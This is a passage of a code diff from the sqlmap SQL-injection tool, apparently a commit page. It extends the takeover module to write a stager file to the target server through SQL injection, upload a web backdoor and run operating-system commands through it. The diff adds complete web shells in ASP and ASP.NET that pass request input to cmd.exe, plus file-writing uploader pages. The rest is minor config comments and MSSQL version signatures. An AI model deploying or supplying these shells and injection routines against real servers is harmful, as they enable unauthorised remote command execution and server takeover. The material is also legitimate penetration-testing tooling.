uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
|
||||||
|
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
|
||||||
|
query = agent.prefixQuery(" %s" % query)
|
||||||
|
query = agent.postfixQuery(query)
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
page = Request.queryPage(payload)
|
||||||
|
|
||||||
query = agent.prefixQuery(" %s" % query)
|
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
|
||||||
query = agent.postfixQuery(query)
|
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||||
|
|
||||||
payload = agent.payload(newValue=query)
|
|
||||||
page = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if kb.docRoot:
|
|
||||||
requestDir = directory.replace(kb.docRoot, "")
|
|
||||||
else:
|
|
||||||
requestDir = directory
|
|
||||||
|
|
||||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
|
||||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||||
page, _ = Request.getPage(url=uploaderUrl, direct=True)
|
uploaderUrl = uploaderUrl.replace("./", "/")
|
||||||
|
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||||
|
|
||||||
if "sqlmap backdoor uploader" not in page:
|
if "sqlmap backdoor uploader" not in uplPage:
|
||||||
warnMsg = "unable to upload the uploader "
|
warnMsg = "unable to upload the uploader "
|
||||||
warnMsg += "agent on '%s'" % directory
|
warnMsg += "agent on '%s'" % directory
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -180,65 +198,49 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# Upload the backdoor through the uploader agent
|
# Upload the backdoor through the uploader agent
|
||||||
multipartParams = {
|
if language == "php":
|
||||||
"upload": "1",
|
multipartParams = {
|
||||||
"file": open(backdoorPath, "r"),
|
"upload": "1",
|
||||||
"uploadDir": directory,
|
"file": open(backdoorPath, "r"),
|
||||||
}
|
"uploadDir": directory,
|
||||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
}
|
||||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||||
|
|
||||||
if "Backdoor uploaded" not in page:
|
if "Backdoor uploaded" not in page:
|
||||||
warnMsg = "unable to upload the backdoor through "
|
warnMsg = "unable to upload the backdoor through "
|
||||||
warnMsg += "the uploader agent on '%s'" % directory
|
warnMsg += "the uploader agent on '%s'" % directory
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
continue
|
|
||||||
|
|
||||||
uploaded = True
|
|
||||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
|
||||||
|
|
||||||
infoMsg = "the backdoor has been successfully uploaded on "
|
|
||||||
infoMsg += "'%s', go with your browser to " % directory
|
|
||||||
infoMsg += "'%s' and enjoy it!" % backdoorUrl
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
if conf.osShell:
|
|
||||||
message = "do you want to use the uploaded backdoor as a "
|
|
||||||
message += "shell to execute commands right now? [Y/n] "
|
|
||||||
shell = readInput(message, default="Y")
|
|
||||||
|
|
||||||
if shell in ("n", "N"):
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "calling OS shell. To quit type "
|
elif language == "asp":
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
backdoorRemotePath = "%s/%s" % (directory, backdoorName)
|
||||||
logger.info(infoMsg)
|
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
|
||||||
|
backdoorContent = open(backdoorPath, "r").read()
|
||||||
|
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
|
||||||
|
page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
|
||||||
|
|
||||||
autoCompletion(osShell=True)
|
if "permission denied" in page.lower():
|
||||||
|
warnMsg = "unable to upload the backdoor through "
|
||||||
|
warnMsg += "the uploader agent on '%s'" % directory
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
while True:
|
continue
|
||||||
command = None
|
|
||||||
|
|
||||||
try:
|
elif language == "jsp":
|
||||||
command = raw_input("os-shell> ")
|
# TODO: add also JSP backdoor/uploader support
|
||||||
except KeyboardInterrupt:
|
pass
|
||||||
print
|
|
||||||
errMsg = "user aborted"
|
|
||||||
logger.error(errMsg)
|
|
||||||
except EOFError:
|
|
||||||
print
|
|
||||||
errMsg = "exit"
|
|
||||||
logger.error(errMsg)
|
|
||||||
break
|
|
||||||
|
|
||||||
if not command:
|
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||||
continue
|
|
||||||
|
|
||||||
if command.lower() in ( "x", "q", "exit", "quit" ):
|
infoMsg = "the backdoor has probably been successfully "
|
||||||
break
|
infoMsg += "uploaded on '%s', go with your browser " % directory
|
||||||
|
infoMsg += "to '%s' and enjoy it!" % backdoorUrl
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.__webBackdoorRunCmd(backdoorUrl, command)
|
break
|
||||||
|
|
||||||
|
return backdoorUrl
|
||||||
|
|
||||||
|
|
||||||
def uploadChurrasco(self):
|
def uploadChurrasco(self):
|
||||||
@@ -269,10 +271,17 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if kb.stackedTest == False:
|
||||||
return
|
infoMsg = "going to upload a web page backdoor for command "
|
||||||
|
infoMsg += "execution"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.initEnv()
|
backdoorUrl = self.__webBackdoorInit()
|
||||||
self.runCmd(conf.osCmd)
|
|
||||||
|
if backdoorUrl:
|
||||||
|
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
|
||||||
|
else:
|
||||||
|
self.initEnv()
|
||||||
|
self.runCmd(conf.osCmd)
|
||||||
|
|
||||||
|
|
||||||
def osShell(self):
|
def osShell(self):
|
||||||
@@ -283,7 +292,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
infoMsg += "execution"
|
infoMsg += "execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.__webBackdoorOsShell()
|
backdoorUrl = self.__webBackdoorInit()
|
||||||
|
|
||||||
|
if backdoorUrl:
|
||||||
|
self.__webBackdoorShell(backdoorUrl)
|
||||||
else:
|
else:
|
||||||
self.initEnv()
|
self.initEnv()
|
||||||
self.absOsShell()
|
self.absOsShell()
|
||||||
|
|||||||
44
shell/backdoor.asp
Normal file
44
shell/backdoor.asp
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
<!--
|
||||||
|
|
||||||
|
ASP_KIT
|
||||||
|
|
||||||
|
cmd.asp = Command Execution
|
||||||
|
|
||||||
|
by: Maceo
|
||||||
|
modified: 25/06/2003
|
||||||
|
|
||||||
|
-->
|
||||||
|
|
||||||
|
<%
|
||||||
|
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
|
||||||
|
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
|
||||||
|
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
|
||||||
|
|
||||||
|
szCMD = request("cmd")
|
||||||
|
|
||||||
|
If (szCMD <> "") Then
|
||||||
|
szTempFile = "C:\" & oFileSys.GetTempName()
|
||||||
|
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
|
||||||
|
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
|
||||||
|
End If
|
||||||
|
%>
|
||||||
|
|
||||||
|
<HTML>
|
||||||
|
<BODY>
|
||||||
|
<FORM action="" method="GET">
|
||||||
|
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
|
||||||
|
<input type="submit" value="Run">
|
||||||
|
</FORM>
|
||||||
|
<PRE>
|
||||||
|
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
|
||||||
|
<br>
|
||||||
|
<%
|
||||||
|
If (IsObject(oFile)) Then
|
||||||
|
On Error Resume Next
|
||||||
|
Response.Write Server.HTMLEncode(oFile.ReadAll)
|
||||||
|
oFile.Close
|
||||||
|
Call oFileSys.DeleteFile(szTempFile, True)
|
||||||
|
End If
|
||||||
|
%>
|
||||||
|
</BODY>
|
||||||
|
</HTML>
|
||||||
42
shell/backdoor.aspx
Normal file
42
shell/backdoor.aspx
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
<%@ Page Language="C#" Debug="true" Trace="false" %>
|
||||||
|
<%@ Import Namespace="System.Diagnostics" %>
|
||||||
|
<%@ Import Namespace="System.IO" %>
|
||||||
|
<script Language="c#" runat="server">
|
||||||
|
void Page_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
string ExcuteCmd(string arg)
|
||||||
|
{
|
||||||
|
ProcessStartInfo psi = new ProcessStartInfo();
|
||||||
|
psi.FileName = "cmd.exe";
|
||||||
|
psi.Arguments = "/c "+arg;
|
||||||
|
psi.RedirectStandardOutput = true;
|
||||||
|
psi.UseShellExecute = false;
|
||||||
|
Process p = Process.Start(psi);
|
||||||
|
StreamReader stmrdr = p.StandardOutput;
|
||||||
|
string s = stmrdr.ReadToEnd();
|
||||||
|
stmrdr.Close();
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
void cmdExe_Click(object sender, System.EventArgs e)
|
||||||
|
{
|
||||||
|
Response.Write("<pre>");
|
||||||
|
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
|
||||||
|
Response.Write("</pre>");
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<HTML>
|
||||||
|
<HEAD>
|
||||||
|
<title>awen asp.net webshell</title>
|
||||||
|
</HEAD>
|
||||||
|
<body >
|
||||||
|
<form id="cmd" method="post" runat="server">
|
||||||
|
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
|
||||||
|
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
|
||||||
|
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</HTML>
|
||||||
|
|
||||||
|
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
|
||||||
|
<!-- http://michaeldaw.org 04/2007 -->
|
||||||
@@ -1 +1,2 @@
|
|||||||
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
<p><b>sqlmap backdoor uploader</b></p>
|
||||||
|
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
|
||||||
|
|||||||
23
shell/uploader.aspx
Normal file
23
shell/uploader.aspx
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%>
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||||
|
<HTML>
|
||||||
|
<HEAD>
|
||||||
|
<title>WebForm1</title>
|
||||||
|
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
|
||||||
|
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
|
||||||
|
<meta name=vs_defaultClientScript content="JavaScript">
|
||||||
|
<meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
|
||||||
|
</HEAD>
|
||||||
|
<body MS_POSITIONING="GridLayout">
|
||||||
|
|
||||||
|
<form id="Form1" enctype="multipart/form-data" method="post" runat="server">
|
||||||
|
|
||||||
|
<INPUT type=file id=File1 name=File1 runat="server" >
|
||||||
|
<br>
|
||||||
|
<input type="submit" id="Submit1" value="Upload" runat="server" NAME="Submit1">
|
||||||
|
|
||||||
|
|
||||||
|
</form>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</HTML>
|
||||||
41
shell/uploader.aspx.vb
Normal file
41
shell/uploader.aspx.vb
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
Public Class WebForm1
|
||||||
|
Inherits System.Web.UI.Page
|
||||||
|
Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile
|
||||||
|
Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton
|
||||||
|
|
||||||
|
#Region " Web Form Designer Generated Code "
|
||||||
|
|
||||||
|
'This call is required by the Web Form Designer.
|
||||||
|
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
|
||||||
|
'CODEGEN: This method call is required by the Web Form Designer
|
||||||
|
'Do not modify it using the code editor.
|
||||||
|
InitializeComponent()
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
#End Region
|
||||||
|
|
||||||
|
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||||
|
'Put user code to initialize the page here
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick
|
||||||
|
|
||||||
|
If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then
|
||||||
|
Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName)
|
||||||
|
Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn
|
||||||
|
Try
|
||||||
|
File1.PostedFile.SaveAs(SaveLocation)
|
||||||
|
Response.Write("The file has been uploaded.")
|
||||||
|
Catch Exc As Exception
|
||||||
|
Response.Write("Error: " & Exc.Message)
|
||||||
|
End Try
|
||||||
|
Else
|
||||||
|
Response.Write("Please select a file to upload.")
|
||||||
|
End If
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
End Class
|
||||||
13
sqlmap.conf
13
sqlmap.conf
@@ -62,7 +62,7 @@ aType =
|
|||||||
aCred =
|
aCred =
|
||||||
|
|
||||||
# Use a HTTP proxy to connect to the target url.
|
# Use a HTTP proxy to connect to the target url.
|
||||||
# Syntax: http://url:port
|
# Syntax: http://address:port
|
||||||
proxy =
|
proxy =
|
||||||
|
|
||||||
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
# Maximum number of concurrent HTTP requests (handled with Python threads)
|
||||||
@@ -250,15 +250,16 @@ user =
|
|||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
excludeSysDbs = False
|
excludeSysDbs = False
|
||||||
|
|
||||||
# First table entry to dump (cursor start)
|
# First query output entry to retrieve
|
||||||
# Valid: integer
|
# Valid: integer
|
||||||
# Default: 0 (sqlmap will start to dump the table entries from the first)
|
# Default: 0 (sqlmap will start to retrieve the query output entries from
|
||||||
|
# the first)
|
||||||
limitStart = 0
|
limitStart = 0
|
||||||
|
|
||||||
# Last table entry to dump (cursor stop)
|
# Last query output entry to retrieve
|
||||||
# Valid: integer
|
# Valid: integer
|
||||||
# Default: 0 (sqlmap will detect the number of table entries and dump
|
# Default: 0 (sqlmap will detect the number of query output entries and
|
||||||
# until the last)
|
# retrieve them until the last)
|
||||||
limitStop = 0
|
limitStop = 0
|
||||||
|
|
||||||
# SQL SELECT query to be executed.
|
# SQL SELECT query to be executed.
|
||||||
|
|||||||
@@ -28,6 +28,9 @@ import os
|
|||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
|
import warnings
|
||||||
|
|
||||||
|
warnings.filterwarnings(action="ignore", message=".*(md5|sha) module is deprecated", category=DeprecationWarning)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import psyco
|
import psyco
|
||||||
|
|||||||
@@ -1,12 +1,44 @@
|
|||||||
<?xml version="1.0" ?>
|
<?xml version="1.0" ?>
|
||||||
<root>
|
<root>
|
||||||
<signatures release="2008">
|
<signatures release="2008">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
10.00.2714
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1 + Cumulative Update 2 for Service Pack 1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
10.00.2710
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1 + Cumulative Update 1 for Service Pack 1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
10.00.2531
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
10.00.1798
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0 + Cumulative Update 4
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
10.00.1787
|
10.00.1787
|
||||||
</version>
|
</version>
|
||||||
<servicepack>
|
<servicepack>
|
||||||
+ Cumulative Update 3
|
0 + Cumulative Update 3
|
||||||
</servicepack>
|
</servicepack>
|
||||||
</signature>
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
@@ -14,7 +46,7 @@
|
|||||||
10.00.1779
|
10.00.1779
|
||||||
</version>
|
</version>
|
||||||
<servicepack>
|
<servicepack>
|
||||||
+Q958186
|
0+Q958186
|
||||||
</servicepack>
|
</servicepack>
|
||||||
</signature>
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
@@ -22,7 +54,7 @@
|
|||||||
10.00.1771
|
10.00.1771
|
||||||
</version>
|
</version>
|
||||||
<servicepack>
|
<servicepack>
|
||||||
+Q958611
|
0+Q958611
|
||||||
</servicepack>
|
</servicepack>
|
||||||
</signature>
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
@@ -30,12 +62,12 @@
|
|||||||
10.00.1750
|
10.00.1750
|
||||||
</version>
|
</version>
|
||||||
<servicepack>
|
<servicepack>
|
||||||
+Q956718
|
0+Q956718
|
||||||
</servicepack>
|
</servicepack>
|
||||||
</signature>
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
10.0.1600.22
|
10.00.1600.22
|
||||||
</version>
|
</version>
|
||||||
<servicepack>
|
<servicepack>
|
||||||
0
|
0
|
||||||
@@ -67,6 +99,22 @@
|
|||||||
</signature>
|
</signature>
|
||||||
</signatures>
|
</signatures>
|
||||||
<signatures release="2005">
|
<signatures release="2005">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
9.00.4220
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3+Q967909
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
9.00.4216
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3+Q967101
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
9.00.4211
|
9.00.4211
|
||||||
@@ -88,7 +136,7 @@
|
|||||||
9.00.4035
|
9.00.4035
|
||||||
</version>
|
</version>
|
||||||
<servicepack>
|
<servicepack>
|
||||||
+3
|
3
|
||||||
</servicepack>
|
</servicepack>
|
||||||
</signature>
|
</signature>
|
||||||
<signature>
|
<signature>
|
||||||
|
|||||||
Reference in New Issue
Block a user